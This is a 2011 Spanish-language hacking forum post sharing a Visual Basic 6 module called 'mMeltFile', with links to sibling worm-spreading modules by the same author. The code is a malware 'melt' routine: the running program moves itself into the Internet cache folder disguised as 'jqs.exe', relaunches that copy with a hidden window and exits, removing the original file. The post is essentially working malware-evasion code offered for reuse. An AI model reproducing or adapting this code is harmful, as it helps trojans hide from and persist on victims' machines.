comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

mMeltFile [Modulo] [Fakedo0r]

  • 0 Respuestas
  • 1164 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Fakedo0r

  • *
  • Visitante
« en: Febrero 28, 2011, 06:33:16 pm »
Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
Option Explicit

'---------------------------------------------------------------------------------------
'---------------------------------------------------------------------------------------
'---------------------------------------------------------------------------------------
'---------------------------------------------------------------------------------------
' MODULO    : mMeltFile                 |||
' FECHA     : 12/10/2010 20:50          |||
' AUTOR     : Fakedo0r                  |||
' CREDITOS  : Jhonjhon_123              |||
' CORREO    : Luvel88@gmail.com         |||
' USO       : Call MeltFile             |||
'---------------------------------------------------------------------------------------
'---------------------------------------------------------------------------------------
'---------------------------------------------------------------------------------------
'---------------------------------------------------------------------------------------

'============================================================================
'APIS
'============================================================================
Private Declare Function MoveFileEx Lib "kernel32" Alias "MoveFileExA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal dwFlags As Long) As Long
Private Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32.dll" (ByVal pidl As Long, ByVal pszPath As String) As Long
Private Declare Function Shell Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
'============================================================================
'CONSTANTES
'============================================================================
Private Const CSIDL_INTERNET_CACHE As Long = &H20
'============================================================================
'TIPOS
'============================================================================
Private Type SHITEMID

    cb As Long
    abID As Byte
   
End Type

Private Type ITEMIDLIST

    mkid As SHITEMID
   
End Type
'==============================================================================
' --- FUNCION RECUPERAR RUTAS ESPECIALES
'==============================================================================
Private Function GetSpecialFolderX(CSIDL As Long) As String

    Dim Ret     As Long
    Dim Path    As String
   
    Dim IDL     As ITEMIDLIST
   
    Ret = SHGetSpecialFolderLocation(100, CSIDL, IDL)
        If Ret = 0 Then
            Path$ = Space$(512)
            Ret = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
            GetSpecialFolderX = Left$(Path, InStr(Path, Chr$(0)) - 1)
            Exit Function
        End If
   
    GetSpecialFolderX = ""

End Function
'==============================================================================
' --- FUNCION LLAMAR MELTFILE
'==============================================================================
Public Sub MeltFile()

    Dim File    As String
    Dim F_File  As String
    Dim Path    As String
       
    File = App.Path & "\" & App.EXEName & ".exe"
   
    Path = GetSpecialFolderX(CSIDL_INTERNET_CACHE)
   
    F_File = Path & "\" & "jqs" & ".exe"
   
    If File <> F_File Then
   
        Call DeleteFile(F_File)
       
        Call MoveFileEx(File, F_File, 2)
        Call Shell(0, "open", F_File, "", "", 0)
           
        End
       
    End If
   
End Sub

 

¿Te gustó el post? COMPARTILO!



mSpread USB [Modulo] [Fakedo0r]

Iniciado por Fakedo0r

Respuestas: 6
Vistas: 2387
Último mensaje Marzo 21, 2011, 07:09:42 pm
por Juan
mSpread P2P [Modulo] [Fakedo0r]

Iniciado por Fakedo0r

Respuestas: 0
Vistas: 1032
Último mensaje Febrero 28, 2011, 06:35:59 pm
por Fakedo0r